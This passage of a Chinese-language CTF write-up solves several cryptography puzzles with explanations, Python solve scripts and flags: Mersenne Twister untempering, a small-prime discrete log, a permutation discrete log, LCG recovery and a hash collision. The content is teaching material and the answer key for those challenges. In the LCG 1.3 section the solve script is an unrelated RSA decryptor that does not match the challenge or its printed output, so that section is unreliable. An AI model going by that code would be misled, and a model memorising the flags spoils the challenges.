z = y ^ ((y << 7) & 0x0d000721)。这是一个z = y ^ (f(y))形式的操作。由于y << 7,y的低7位没有受到影响,直接传递给了z。我们可以利用这一点,从低位到高位,逐步恢复出原始的y。 - 逆转操作1:
z = y ^ (y >> 11)。这是一个更常见的 MT tempering 操作。y的高11位直接传递给了z。我们可以从高位到低位,逐步恢复出原始的y。
-
重建状态并预测未来:
- 通过对
hint列表中的每个数字执行 “untemper” 操作,我们可以得到 PRNG 的完整内部状态mt数组。 - 一旦我们有了这个状态,我们就可以创建一个新的
MT19_937实例,并将它的内部状态设置为我们恢复的状态。 - 现在我们有了一个与原始
task对象状态完全同步的 PRNG,我们可以调用它的extract_number方法来生成与原始脚本完全相同的后续随机数。 - 调用它 11 次来生成
key列表。
- 通过对
-
计算密钥并解密:
- 根据原始脚本计算
x,即key列表中所有数字的乘积 - 我们有了
x和m^x,只需将它们再次异或即可得到m:m = (m^x) ^ x - 最后,将长整数
m转换回字节串即可得到flag
- 根据原始脚本计算
from Crypto.Util.number import long_to_bytes def _int32(x): return int(0xFFFFFFFF & x) class MT19_937: def __init__(self, seed): self.mt = [0] * 114 self.mt[0] = seed self.mti = 0 for i in range(1, 114): self.mt[i] = _int32(1145141919 * (self.mt[i - 1] ^ self.mt[i - 1] >> 30) + i) def extract_number(self): if self.mti == 0: self.twist() y = self.mt[self.mti] y = y ^ y >> 11 y = y ^ y << 7 & 0x0d000721 self.mti = (self.mti + 1) % 114 return _int32(y) def twist(self): for i in range(0, 114): y = _int32((self.mt[i] & 0x90000000) + (self.mt[(i + 1) % 114] & 0x8fffffff)) self.mt[i] = (y >> 1) ^ self.mt[(i + 66) % 114] if y % 2 != 0: self.mt[i] = self.mt[i] ^ 0x0d000721 def untemper(y): """ 逆转extract_number中的tempering操作 """ # 逆转: y = y ^ (y << 7 & 0x0d000721) # 我们从低位到高位逐位恢复 y_prime = 0 for i in range(32): # 计算 y' << 7 & M 对当前位的影响 shifted_y_prime_bit = (y_prime >> (i - 7)) & 1 if i >= 7 else 0 mask_bit = (0x0d000721 >> i) & 1 xor_term_bit = shifted_y_prime_bit & mask_bit # 恢复 y' 的当前位 y_bit = (y >> i) & 1 y_prime_bit = y_bit ^ xor_term_bit y_prime |= (y_prime_bit << i) # 逆转: y = y ^ (y >> 11) # 从高位到低位逐位恢复 y_final = 0 for i in range(31, -1, -1): # 计算 y >> 11 对当前位的影响 shifted_y_final_bit = (y_final >> (i + 11)) & 1 if i + 11 < 32 else 0 # 恢复 y_final 的当前位 y_prime_bit = (y_prime >> i) & 1 y_final_bit = y_prime_bit ^ shifted_y_final_bit y_final |= (y_final_bit << i) return _int32(y_final) hint = ...encrypted_m = ... # 1. 从hint恢复PRNG的内部状态recovered_state = [untemper(h) for h in hint] # 2. 创建一个新的PRNG实例,并用恢复的状态覆盖它solver_rng = MT19_937(seed=1)solver_rng.mt = recovered_statesolver_rng.mti = 0 # 原始脚本生成hint后,mti会回到0 # 3. 生成密钥key = [solver_rng.extract_number() for _ in range(11)] # 4. 计算xx = 1for i in key: x *= i # 5. 解密得到mm = encrypted_m ^ x # 6. 将m转换回flagflag = long_to_bytes(m)print(flag.decode())FLAG
flag{e9ef408f-feef-4732-b6d0-77d9813b8f9c}[Cry]DLP
Challenge
用好题目和工具,解决这个离散对数问题吧
from Crypto.Util.number import *from math import prodfrom sympy.ntheory.modular import crt def prime_factors(n):# 一个工具函数,用于简单试除分解 res, d = [], 2 while d * d <= n: while n % d == 0: res.append(d) n //= d d += 1 if d == 2 else 2 if n > 1: res.append(n) return res def find_primitive_root(p):# 找模 p 的原根,什么是原根呢?去学习一下叭 phi = p - 1 facs = set(prime_factors(phi))#这里用到了工具函数 for g in range(2, p): if all(pow(g, phi // q, p) != 1 for q in facs): return g def gen_dlp_with_flag(k, bit, flag): primes, gens = [], [] for _ in range(k): p = getPrime(bit) primes.append(p) gens.append(find_primitive_root(p)) N = prod(primes) x = bytes_to_long(flag.encode()) ys = [pow(gens[i], x, primes[i]) for i in range(k)] y, _ = crt(primes, ys)# 这行代码怎么感觉有点眼熟? print("N =", N) print("y =", y) gen_dlp_with_flag(16, 32,"flag{?????????????????}")# bit=32? 好像不大诶 """N = 309188900849282292730996572442105319804517021637303572285568169372827724672013943204807085606291832819055916540180210625660012888515667353984324438526947y = 260785984269183342143040042876301128691169473526814133757612160538721419207138445246818874092343133346101040420148945804080352598475162932165207050154918"""Solution
1. 问题分析
题目 gen_dlp_with_flag 的执行流程如下:
-
生成素数和原根:
- 生成了
k=16个 32-bit 的素数p_i - 对于每个素数
p_i,找到了其最小的原根g_i
- 生成了
-
加密 Flag:
- 将
flag字符串转换为一个大整数x - 对于每一对
(p_i, g_i),计算了y_i = g_i^x mod p_i,这本质上是 16 个独立的离散对数问题
- 将
-
合并结果:
- 使用中国剩余定理(CRT)将这 16 个
y_i合并成一个唯一的解y(模N = p_0 * p_1 * ... * p_{15}) y满足以下 congruence system:y ≡ y_0 (mod p_0)y ≡ y_1 (mod p_1)- …
y ≡ y_{15} (mod p_{15})
- 使用中国剩余定理(CRT)将这 16 个
-
输出:
- 最后脚本输出
N和y
- 最后脚本输出
2. 解题思路
我们的目标是根据给定的 N 和 y 来反推出 x,然后将 x 转换回 flag 字符串:
-
分解 N:
N是 16 个 32-bit 素数的乘积。32-bit 的数非常小(最大约为 4 * 10^9),因此分解N是一件很容易的事情。我们可以在线工具 factordb.com 分解N,得到所有的p_i。
-
恢复
y_i:- 根据中国剩余定理的性质,我们知道
y ≡ y_i (mod p_i)。因此对于我们分解出的每一个p_i,我们可以通过y_i = y % p_i来计算出对应的y_i。
- 根据中国剩余定理的性质,我们知道
-
恢复
g_i:- 题目中的
find_primitive_root函数是确定性的,它总是返回模p的最小原根,因此我们可以对分解出的每个p_i运行完全相同的find_primitive_root函数,从而得到与加密时完全相同的g_i。
- 题目中的
-
解决离散对数问题 (DLP):
- 现在,对于每一组
(p_i, g_i, y_i),我们都有一个离散对数问题:求解x使得g_i^x ≡ y_i (mod p_i)。 - 由于
p_i是 32-bit 的小素数,解决这个 DLP 非常快。我们可以使用 SymPy 库中的discrete_log函数,或者Pohlig-Hellman算法,甚至是暴力搜索。 - 解出
x之后需要注意解是在模phi(p_i) = p_i - 1的意义下的,也就是说我们得到的是一系列关于x的同余方程:x ≡ x_i (mod p_i - 1)。
- 现在,对于每一组
-
再次使用 CRT:
- 我们现在有了一个新的同余方程组:
x ≡ x_0 (mod p_0 - 1)x ≡ x_1 (mod p_1 - 1)- …
x ≡ x_{15} (mod p_{15} - 1)
- 这里的模数是
p_i - 1,它们很可能不是互素的。 - 使用
crt解决这个方程组我们就能得到唯一的x(模这些p_i-1的最小公倍数)。
- 我们现在有了一个新的同余方程组:
-
恢复 Flag:
- 最后,将解出的整数
x使用long_to_bytes函数转换回字节串,即可得到 flag。
- 最后,将解出的整数
from Crypto.Util.number import long_to_bytesfrom sympy.ntheory.modular import crtfrom sympy.ntheory import discrete_log def prime_factors(n): res, d = [], 2 while d * d <= n: while n % d == 0: res.append(d) n //= d d += 1 if d == 2 else 2 if n > 1: res.append(n) return res def find_primitive_root(p): phi = p - 1 facs = set(prime_factors(phi)) for g in range(2, p): if all(pow(g, phi // q, p) != 1 for q in facs): return g N = 309188900849282292730996572442105319804517021637303572285568169372827724672013943204807085606291832819055916540180210625660012888515667353984324438526947y = 260785984269183342143040042876301128691169473526814133757612160538721419207138445246818874092343133346101040420148945804080352598475162932165207050154918 # 2. 直接使用从 factordb 得到的素数因子primes = [ 2481237547, 2487508979, 2557860853, 2837710741, 3293759039, 3442901711, 3447513169, 3464552989, 3558226703, 3581088491, 3693733493, 3733635179, 3873215351, 4114877281, 4256756369, 4273885003] remainders = [] # 用来存储每个 DLP 的解 x_imoduli = [] # 用来存储每个同余方程的模 p_i - 1 for p in primes: # 恢复 y_i y_i = y % p # 恢复 g_i g_i = find_primitive_root(p) # 解决离散对数问题 g_i^x ≡ y_i (mod p_i) # 解是模 p_i - 1 的 x_i = discrete_log(p, y_i, g_i) remainders.append(x_i) moduli.append(p - 1) # 使用中国剩余定理求解同余方程组x, _ = crt(moduli, remainders) flag = long_to_bytes(int(x))print(flag.decode())FLAG
flag{D0_y0u_lik3_4i5cr3te_1og@rit6m?}[Cry]置换DLP
Challenge
给定对称群S_n和其两个元素(也就是置换)g,h,求x满足g自己复合x次得到h。 例: 输出: S_3 (1 2 3 ) (1 3 2) 输入: 2 因为: (1 2 3 )(1 2 3 )=(1 3 2)=(1 2 3)^2
Solution
这个问题的核心是计算 g 的幂,直到找到 h。这是一个典型的“Meet-in-the-middle”或“Baby-step giant-step”算法可以优化的场景,但对于CTF中常见的 n(通常不会太大),直接的暴力搜索(迭代计算 g^x)是最高效且最容易实现的。
- 表示置换: 使用一个字典来表示一个置换。例如,在 S_7 中,置换
(1 5) (2 6)意味着1->5,5->1,2->6,6->2,其他数字不变。我们可以用字典{1:5, 2:6, 3:3, 4:4, 5:1, 6:2, 7:7}来表示。 - 解析输入: 写一个函数,将字符串
"(1 5) (2 6) (3 4 7)"解析成我们内部的字典表示。 - 置换复合 (乘法): 实现两个置换的复合操作。如果
p1和p2是两个置換,那么复合p1 * p2作用于i的结果是p1(p2(i))。 - 计算阶 (Order): 一个置换
g的阶ord(g)是使得g^k等于单位置换(所有元素不变)的最小正整数k。ord(g)是g的所有不相交循环的长度的最小公倍数 (LCM)。这是我们搜索x的上限。 - 迭代搜索:
- 从
x = 0开始,计算g^0(单位置换)。 - 循环计算
g^1, g^2, g^3, ...直到g^{ord(g)-1}。 - 在每一步,检查当前的
g^x是否等于h。 - 如果找到匹配,
x就是答案。 - 如果循环结束仍未找到,则说明
h不在g生成的循环子群中,无解。
- 从
import reimport mathfrom functools import reduce def gcd(a, b): """计算最大公约数""" return math.gcd(a, b) def lcm(a, b): """计算最小公倍数""" if a == 0 or b == 0: return 0 return abs(a * b) // gcd(a, b) def lcm_list(numbers): """计算一个列表的最小公倍数""" return reduce(lcm, numbers) class Permutation: def __init__(self, n: int, cycles_str: str = ""): """ 根据 S_n 和轮换表示法字符串初始化置换 :param n: 对称群 S_n 的 n :param cycles_str: 轮换表示法字符串, e.g., "(1 5) (2 6)" """ self.n = n # 初始化为单位置换: i -> i self.mapping = {i: i for i in range(1, n + 1)} self._parse_cycles(cycles_str) def _parse_cycles(self, cycles_str: str): """从字符串解析轮换并更新映射""" if not cycles_str: return # 使用正则表达式找到所有括号内的内容 cycles = re.findall(r'\((.*?)\)', cycles_str) for cycle_content in cycles: nums = [int(x) for x in cycle_content.strip().split()] if len(nums) > 1: # e.g., (3 4 7) means 3->4, 4->7, 7->3 for i in range(len(nums) - 1): self.mapping[nums[i]] = nums[i+1] self.mapping[nums[-1]] = nums[0] def __mul__(self, other): """ 置换的复合 (p1 * p2)(i) = p1(p2(i)) """ if self.n != other.n: raise ValueError("Permutations must be from the same symmetric group S_n") new_mapping = {i: self.mapping[other.mapping[i]] for i in range(1, self.n + 1)} # 创建一个新的Permutation对象返回 new_perm = Permutation(self.n) new_perm.mapping = new_mapping return new_perm def __pow__(self, k: int): """计算置换的幂 g^k""" if k < 0: raise ValueError("Power must be a non-negative integer") if k == 0: return Permutation(self.n) # 返回单位置换 res = self for _ in range(k - 1): res = res * self return res def __eq__(self, other): """判断两个置换是否相等""" return self.n == other.n and self.mapping == other.mapping def __str__(self): """返回置换的映射表示,方便调试""" return str(self.mapping) def get_order(self) -> int: """ 计算置换的阶 (order) 阶是所有不相交循环长度的最小公倍数 """ visited = set() cycle_lengths = [] for i in range(1, self.n + 1): if i not in visited: # 发现一个新的循环 current_cycle_len = 0 j = i while j not in visited: visited.add(j) j = self.mapping[j] current_cycle_len += 1 if current_cycle_len > 1: cycle_lengths.append(current_cycle_len) if not cycle_lengths: return 1 # 单位元 return lcm_list(cycle_lengths) def solve_permutation_dlp(n, g_str, h_str): """ 解决置换离散对数问题 g^x = h """ g = Permutation(n, g_str) h = Permutation(n, h_str) # 计算 g 的阶,作为搜索的上界 g_order = g.get_order() # current_g_power 初始化为 g^0 (单位元) current_g_power = Permutation(n) for x in range(g_order): # 检查 g^x 是否等于 h if current_g_power == h: return x # 计算下一个幂: g^(x+1) = g^x * g current_g_power = current_g_power * g # 如果循环结束还没找到,则无解 return "no" if __name__ == "__main__": n1 = 10 g1_str = "(1 7 10 2 5) (3 6) (4 8)" h1_str = "(1 7 10 2 5)" print(solve_permutation_dlp(n1, g1_str, h1_str))=== Permutation Discrete Log Challenge ===Find x such that g^x = h (0 <= x < ord(g)), or print 'no' if no solution.5 rounds total. One round has no solution.Round 1/5S_5(1 3 4 5 2) (1 5 3 2 4)Your answer: 3Correct!Round 2/5S_11(1 4 8 6 11 5) (2 9 10) (3 7) (1 6 2 4 10 5 7) (3 8 9)Your answer: noCorrect!Round 3/5S_11(1 4) (2 3) (5 11 10) (6 7 9 8) (1 4) (2 3) (5 10 11) (6 8 9 7)Your answer: 11Correct!Round 4/5S_12(1 5 10 12 3 11 7 6 8) (2 9) (1 3 8 12 6 10 7 5 11)Your answer: 4Correct!Round 5/5S_10(1 7 10 2 5) (3 6) (4 8) (1 7 10 2 5)Your answer: 6Correct!Congratulations! Your flag: flag{D15cR3t3_lo94R1tHM__8Ut_1n_p3RmuT4T1on_9rOUp2__1t_c3RT41nlY_WO'Nt_83_D1fF1cuLt_4_U!}FLAG
flag{D15cR3t3_lo94R1tHM__8Ut_1n_p3RmuT4T1on_9rOUp2__1t_c3RT41nlY_WO'Nt_83_D1fF1cuLt_4_U!}[Cry]随机数之旅1.3
Challenge
最旧最冷配置
import uuidfrom Crypto.Util.number import *import random flag="flag{"+str(uuid.uuid4())+"}"m=bytes_to_long(flag.encode()) p=getPrime(m.bit_length()+3)a=getPrime(p.bit_length()) print("p=",p) hint=[random.randint(1,p-1),] for i in range(10): hint.append((a*hint[-1]+m)%p) print(hint) """p= 478475545597700801137542329947268027178596565166277501475984783168264336204134464479893480035711325623[249919247565764496968024420668100990050724930264873012553221627994767139138419916559737152956192938786, 341098538517870638403021803297435486563954299904421591195678329627022088404800269966659959073623486227, 20018219100052262465673657639106096626775270934552714906385093540517665089433306304783945869390965352, 477110987927537932362183022083084081803652185884243696031637228688890267574215943741789667631285188517, 316109317526042308856009312339591028959770431193022541894694590723163440242617594274841279773268292931, 288838512929949193288464156452590499193348618769922838206940876596503314942400180385295933551444987426, 181266945000896484248052902194760405660042158622313374086868842724033187572461235292532472052806294610, 363891817161955280083221864938995130581363107122643810787521989924285652140760869565757181912307151144, 176158258425616548246181359314308658522975855113878838400631572536985398273419876407488652665740506588, 226304243444318985869957901105733987782986057182483943969163921743774283862329285859875298207849486395, 235563126973016483026307105002236457145848856279569924823679216801904771557144382780782533443602319128] """Solution
题目用 LCG 算法来隐藏信息,LCG 的基本形式是:
X_{n+1} = (a * X_n + c) % m
在题目中:
X_n对应hint列表中的前一个元素hint[-1]a是一个未知的素数c是我们想要恢复的明文m(flag 的整数形式)m(模数) 是一个大素数p
所以,hint 列表的生成规则是 hint[i] = (a * hint[i-1] + m) % p
脚本输出了素数 p 和整个 hint 列表,列表中有 11 个元素 (hint[0] 到 hint[10]),我们拥有足够的信息来解出未知的 a 和 m
我们有两个未知数(a 和 m),只需要建立一个包含这两个未知数的方程组即可求解
从 hint 列表中取出连续的三项(例如 hint[0], hint[1], hint[2]),根据生成规则可以列出以下两个方程:
hint[1] = (a * hint[0] + m) % phint[2] = (a * hint[1] + m) % p
这是一个模 p 意义下的二元一次方程组,可以通过消元法求解
第一步:消去 m
将方程2减去方程1:
(hint[2] - hint[1]) = (a * hint[1] + m) - (a * hint[0] + m) (mod p)
(hint[2] - hint[1]) = a * hint[1] - a * hint[0] (mod p)
(hint[2] - hint[1]) = a * (hint[1] - hint[0]) (mod p)
第二步:求解 a
将 (hint[1] - hint[0]) 除到等式左边:
a = (hint[2] - hint[1]) * inverse(hint[1] - hint[0], p) (mod p)
这里的 inverse(x, p) 是求 x 在模 p 意义下的逆元。
第三步:求解 m
计算出 a 就可以把它代入第一个方程求解 m:
hint[1] = (a * hint[0] + m) (mod p)
m = (hint[1] - a * hint[0]) (mod p)
from Crypto.Util.number import *import math # ========================= 请在此处粘贴所有参数 ========================= # --- par1 输出 ---list = ...n1 = ...c1 = ... # --- par2 输出 ---n2 = ...hint1 = ...hint2 = ...hint3 = ...c2 = ... # ======================================================================== # 公共指数e = 65537 # ========================= Part 1: 解密 m1 ========================= print("[*] 开始解密 Part 1...") # 从 n1 和素数列表 list 中恢复每个素数的指数factors = {}temp_n1 = n1for p in list: if p == 0: continue # 防止列表未填充时出错 count = 0 while temp_n1 % p == 0: temp_n1 //= p count += 1 factors[p] = count print(f" 成功从 n1 中分解出素数及其指数: {factors}") # 计算 phi(n1)# phi(p^k) = p^(k-1) * (p-1)phi_n1 = 1for p, t in factors.items(): phi_n1 *= (p**(t-1) * (p-1)) # 计算私钥 d1d1 = inverse(e, phi_n1) # 解密 m1m1 = pow(c1, d1, n1)flag1 = long_to_bytes(m1) print(f"[*] Part 1 解密成功!")print(f" flag_part1 = {flag1.decode()}")print("-" * 50) # ========================= Part 2: 解密 m2 ========================= print("[*] 开始解密 Part 2...") # 利用 hint2 和 c2 求出 r2# 因为 hint2 ≡ m (mod r2), c2 ≡ m^e (mod r2)# 所以 c2 - hint2^e ≡ 0 (mod r2)# 因此 r2 是 gcd(c2 - pow(hint2, e, n2), n2) 的一个因子(在此题中就是r2本身)temp_val = (c2 - pow(hint2, e, n2)) % n2r2 = GCD(temp_val, n2) # 计算 p2*q2p2q2 = n2 // r2 # 利用 hint3 = p2+q2 和 p2q2 来求解 p2, q2# 解一元二次方程 x^2 - (p2+q2)x + p2q2 = 0S = hint3 # p2 + q2P = p2q2 # p2 * q2delta = S*S - 4*P if delta < 0: print("[!] Part 2 出错:无法分解 p2 和 q2 (delta < 0)")else: sqrt_delta = math.isqrt(delta) if sqrt_delta * sqrt_delta != delta: print("[!] Part 2 出错:无法分解 p2 和 q2 (delta 不是完全平方数)") else: p2 = (S + sqrt_delta) // 2 q2 = (S - sqrt_delta) // 2 # 验证分解是否正确 if p2 * q2 * r2 == n2: print(f"[*] Part 2 分解 n2 成功!") print(f" p2 = {p2}") print(f" q2 = {q2}") print(f" r2 = {r2}") # 计算 phi(n2) phi_n2 = (p2 - 1) * (q2 - 1) * (r2 - 1) # 计算私钥 d2 d2 = inverse(e, phi_n2) # 解密 m2 m2 = pow(c2, d2, n2) flag2 = long_to_bytes(m2) print(f"[*] Part 2 解密成功!") print(f" flag_part2 = {flag2.decode()}") # ========================= 合并 Flag ========================= final_flag = flag1 + flag2 print("\n" + "="*50) print(f"[*] 最终 Flag: {final_flag.decode()}") print("="*50) else: print("[!] Part 2 出错:分解出的素数不正确")[*] 成功恢复 a = 50284842668591874286962530711840222441575267222168631627346628930023136944986518242285511306089960820[*] 成功恢复 m = 56006392793404655267378720287852889657414284998868764462910938534621596708891257276260697910394696061flag{3ea753dc-8d46-41f7-b4a6-e828c0253831}FLAG
flag{3ea753dc-8d46-41f7-b4a6-e828c0253831}[Cry]随机数之旅1.9
Challenge
最旧最冷配置pro max
import uuidfrom Crypto.Util.number import *import random flag="flag{"+str(uuid.uuid4())+"}"m=bytes_to_long(flag.encode()) p=getPrime(m.bit_length()+3)a=getPrime(p.bit_length()) hint=[random.randint(1,p-1),] for i in range(15): hint.append((a*hint[-1]+m)%p) print(hint) """[207815833858860472630525746720294722862686098236015762403351705374683468788325370179356514749526876950, 211015979308620411696525425095777275753476560571747569104626146643460892934355111246007348590054728278, 154982921170646039127386113914327168037474092849926050668784589159876343568545829713567339881566128774, 14301447927625534901480862591544923748585828474154787997664067408999800058813140550333919836238991874, 274602491551514790133598749654877237076653637818520480950523811116227833787921484758457209356323726695, 170369781650509946447172258827489337909221053707541176039704241960102824673107536295921548339896943064, 199159531778559581852282705906428311276685520954787407093495692307498420437271623202700142459262344361, 152127625735448140599545820146663204043528582114006890378053333070292552669943282154992607592819602345, 258118974363253374610905261929872690383062999526270455540048172948029807006984567635623967904079172525, 83791161992040915418707637123797436818204732030321155500557330793843135987740494961151450687354553588, 240283309715668400040909429066350841404133576389215959280394956765762171700654715262676050019779801415, 38842976594694523258855648781570648918799284259234846435828069057016223394465201311284210539158742069, 112124551443162148461799084208953311502063130294653691708825709872287471313112327095490868557801413814, 130493216949781764571166990014451012680060230560283908734192439983915035889157778838781734918556337718, 257057021216255933786617119107267370802049994234255480193196121654281929053027702977268758326889526999, 50825978665892428834553479141064382082596923815786131694407281600281500668374124718717621345592142201]"""Solution
LCG 参数恢复问题
这次只得到了 hint 列表,我们有三个未知数:
a(乘数)m(增量,即 flag)p(模数)
生成规则依然是:
hint[i] = (a * hint[i-1] + m) % p
我们需要分步恢复这些未知数,关键在于首先找到模数 p
第一步:消除 m
和上次一样,我们可以通过做差来消除 m
hint[i] - hint[i-1] = a * (hint[i-1] - hint[i-2]) (mod p)
定义一个新的序列 d[i] = hint[i+1] - hint[i],那么上面的关系可以写成 d[i] = a * d[i-1] (mod p)
这说明序列 d 是一个模 p 意义下的等比数列
第二步:消除 a 并找到 p
现在我们有了关系 d[i] = a * d[i-1] (mod p),我们可以用这个关系来消除 a
从 d[1] = a * d[0] (mod p) 和 d[2] = a * d[1] (mod p) 得到:
a = d[1] * inverse(d[0], p) (mod p)
a = d[2] * inverse(d[1], p) (mod p)
所以 d[1] * inverse(d[0], p) = d[2] * inverse(d[1], p) (mod p)
两边同时乘以 d[0] * d[1] 得到 d[1]^2 = d[2] * d[0] (mod p)
这说明了 d[1]^2 - d[2] * d[0] 的结果必须是 p 的倍数
我们可以对序列 d 中的任意连续三项 d[i-1], d[i], d[i+1] 应用这个逻辑,得到 d[i]^2 - d[i+1] * d[i-1] 必须是 p 的倍数
由于 p 是所有这些表达式的公约数,那么 p 也必然是它们的最大公约数的一个因子
因为 p 是一个大素数,它很可能就是这个 GCD 本身(或者 GCD 的绝对值)
算法流程:
- 根据
hint列表计算差分序列d,其中d[i] = hint[i+1] - hint[i] - 利用序列
d计算一系列p的倍数,例如计算T_i = d[i+1]^2 - d[i+2] * d[i] - 计算所有这些
T_i值的最大公约数G = gcd(T_0, T_1, T_2, ...) - 恢复的模数
p就是abs(G) - 一旦
p被恢复,问题就退化成了上一个题目,然后就可以用同样的方法来恢复a和m
第三步:恢复 a 和 m
现在我们知道了 p,就可以像上一个题目一样:
- 求
a:a = (hint[2] - hint[1]) * inverse(hint[1] - hint[0], p) (mod p) - 求
m:m = (hint[1] - a * hint[0]) (mod p)
import mathfrom Crypto.Util.number import long_to_bytes hint = ... # --- 1. 恢复模数 p --- # 计算差分序列 d[i] = hint[i+1] - hint[i]d = [hint[i+1] - hint[i] for i in range(len(hint) - 1)] # 计算 p 的倍数 T_i = d[i+1]^2 - d[i+2]*d[i]multiples_of_p = []for i in range(len(d) - 2): term = d[i+1]**2 - d[i+2] * d[i] multiples_of_p.append(term) # 计算这些倍数的最大公约数g = multiples_of_p[0]for i in range(1, len(multiples_of_p)): g = math.gcd(g, multiples_of_p[i]) # p 就是 GCD 的绝对值p = abs(g)print(f"[*] 成功恢复 p = {p}") # --- 2. 恢复乘数 a ---h0, h1, h2 = hint[0], hint[1], hint[2] # a = (h2 - h1) * inverse(h1 - h0, p) mod pdiff_h1_h0 = (h1 - h0) % pdiff_h2_h1 = (h2 - h1) % p inv_diff = pow(diff_h1_h0, -1, p)a = (diff_h2_h1 * inv_diff) % pprint(f"[*] 成功恢复 a = {a}") # --- 3. 恢复增量 m (flag) ---# m = (h1 - a * h0) mod pm = (h1 - (a * h0)) % pprint(f"[*] 成功恢复 m = {m}") # --- 4. 解码 Flag ---flag_bytes = long_to_bytes(m)flag = flag_bytes.decode('utf-8')print(flag)[*] 成功恢复 p = 280850935843921831854086310440676685065750764735757538361697628591000158614408642674982565414740868673[*] 成功恢复 a = 204196471214096796071122233870504038461030399942935941771930578997515923491755381980140682166507542100[*] 成功恢复 m = 56006392793405548547240246040861511328807235602304063996643240454538445236513861254332522594065343869flag{513a05ef-ca04-4e94-af25-a893da4221fe}FLAG
flag{513a05ef-ca04-4e94-af25-a893da4221fe}[Cry]运气与实力
Challenge
参数:2^24;514
Solution
本题和 Week 3 的 Crypto-欧皇的生日 相关,Crypto-欧皇的生日 的题目代码如下:
import randomfrom secret import flag m = 2**22 a = random.randint(1, m-1)b = random.randint(1, m-1)c = random.randint(1, m-1) def Hash(x): return (a*x**2 + b*x + c) % m print("Find a collision: give me two different numbers x1, x2 with Hash(x1)=Hash(x2).")print("Input Format: x1 x2") cnt = 0while cnt < 5000: data = input(":").strip().split() if len(data) != 2: print("Need two numbers!") continue try: x1, x2 = map(int, data) except: print("Invalid input") continue cnt += 1 x1 %= m x2 %= m if x1 != x2 and Hash(x1) == Hash(x2): print(flag) break else: print("x") print(Hash(x1),Hash(x2))Crypto-欧皇的生日 题解:
1. 题目信息
- 哈希函数:
Hash(x) = (a*x**2 + b*x + c) % m - 模数 (Modulus):
m = 2**22 - 未知数:
a, b, c是在1到m-1之间随机生成的整数。 - 目标: 找到两个不相等的整数
x1和x2,使得Hash(x1) = Hash(x2)。
2. 数学推导 (寻找碰撞条件)
我们的目标是让等式成立:
Hash(x1) ≡ Hash(x2) (mod m)
将哈希函数代入:
a*x1² + b*x1 + c ≡ a*x2² + b*x2 + c (mod m)
首先,等式两边的 c 可以直接消掉:
a*x1² + b*x1 ≡ a*x2² + b*x2 (mod m)
移项,将含有 a 和 b 的项分别合并:
a*x1² - a*x2² + b*x1 - b*x2 ≡ 0 (mod m)
提取公因式:
a(x1² - x2²) + b(x1 - x2) ≡ 0 (mod m)
这里出现了平方差公式 (x1² - x2²) = (x1 - x2)(x1 + x2),代入:
a(x1 - x2)(x1 + x2) + b(x1 - x2) ≡ 0 (mod m)
再次提取公因式 (x1 - x2):
(x1 - x2) * [a(x1 + x2) + b] ≡ 0 (mod m)
这个公式就是碰撞条件,这个公式告诉我们只要 (x1 - x2) * [a(x1 + x2) + b] 的乘积是 m 的倍数就能发生碰撞。
3. 利用模数 m = 2^22 的特性
模数 m = 2^22 是一个2的幂,这是本题的漏洞所在,我们要让上述乘积成为 2^22 的倍数。
我们可以通过构造 x1 和 x2,将 2^22 这个因子分配给乘积的两个部分 (x1 - x2) 和 [a(x1 + x2) + b]。
一个最简单的构造方法是让其中一个部分包含大量的2的因子,尝试构造 x1 - x2,让它包含 m 的一半,也就是 2^21。
最简单的构造方式是:
- 令
x1 = 0 - 令
x2 = 2^21(即m/2)
这样我们就有:
x1 - x2 = -2^21x1 + x2 = 2^21
将它们代入碰撞条件:
(-2^21) * [a(2^21) + b] ≡ 0 (mod 2^22)
现在左边的乘积已经有一个 2^21 的因子了,为了让整个乘积能被 2^22 整除,我们只需要 [a(2^21) + b] 这个部分能再提供一个 2 的因子,也就是说,[a(2^21) + b] 必须是一个偶数。
分析 [a(2^21) + b] 的奇偶性:
a(2^21): 因为21 >= 1,所以2^21是一个很大的偶数。任何整数a乘以一个偶数,结果必然是偶数。b:b是随机生成的,它可能是奇数,也可能是偶数。
因此[a(2^21) + b] 的奇偶性完全取决于 b 的奇偶性。
- 如果
b是偶数,那么偶数 + 偶数 = 偶数,条件满足。 - 如果
b是奇数,那么偶数 + 奇数 = 奇数,条件不满足。
4. 结论与解法
我们选择的 x1 = 0 和 x2 = 2^21 (即 2097152) 这对输入,有 50% 的概率成功碰撞(当 b 是偶数时)。
本题题解:
1. 题目信息解读
- 描述: 参数:
2^24; 514 - 分析:
- 本题核心原理和哈希函数结构很可能与
Crypto-欧皇的生日的是一样的。 2^24: 这是新的模数m,所以m = 2^24。514: 在Crypto-欧皇的生日中,a, b, c都是随机的,这里给出了一个固定的数字,它最可能是用来替换a,b,c中的某一个。
- 本题核心原理和哈希函数结构很可能与
2. 关联第一题的关键点
回顾 Crypto-欧皇的生日,我们的解法能否 100% 成功,其唯一的“不确定性”在于 b 的奇偶性。如果 b 是奇数,我们的构造就会失败。
这道挑战题最合理的改动就是修复这个不确定性,出题人很可能将 b 的值固定为了一个偶数,从而使得基于 b 的奇偶性的解法能够 100% 成功。
514 是一个偶数,这个猜测非常合理。因此我们可以大胆假设第二题的哈希函数是:
Hash(x) = (a*x² + 514*x + c) % m
其中 m = 2^24,a 和 c 仍然是未知的随机数。
3. 构建第二题的解
我们使用与 Crypto-欧皇的生日 完全相同的策略:
-
确定模数:
m = 2^24 -
写出碰撞条件:
(x1 - x2) * [a(x1 + x2) + b] ≡ 0 (mod m)
在这里,b已经被固定为514,m是2^24。
(x1 - x2) * [a(x1 + x2) + 514] ≡ 0 (mod 2^24) -
构造
x1和x2:- 令
x1 = 0 - 令
x2 = m / 2 = 2^24 / 2 = 2^23
- 令
-
代入并验证:
x1 - x2 = -2^23x1 + x2 = 2^23- 碰撞条件变为:
(-2^23) * [a(2^23) + 514] ≡ 0 (mod 2^24)
现在,我们来验证
[a(2^23) + 514]是否为偶数:a(2^23):a是整数,2^23是偶数,所以乘积是偶数。514: 是偶数。偶数 + 偶数 = 偶数。
因此,
[a(2^23) + 514]必定是一个偶数。这意味着它可以被写成2 * k的形式(其中k是某个整数)。
那么我们的碰撞条件左侧就变成了(-2^23) * (2 * k) = -2^24 * k。
这个结果显然是2^24的倍数,所以-2^24 * k ≡ 0 (mod 2^24)恒成立。这个解法是 100% 成功的,不受随机数
a和c的影响。 -
计算最终答案
我们只需要计算出 x2 的具体数值:
x2 = 2^23 = 2^10 * 2^10 * 2^3 = 1024 * 1024 * 8 = 1048576 * 8 = 8388608
所以,第二道题的答案是输入两个数:0 和 8388608。
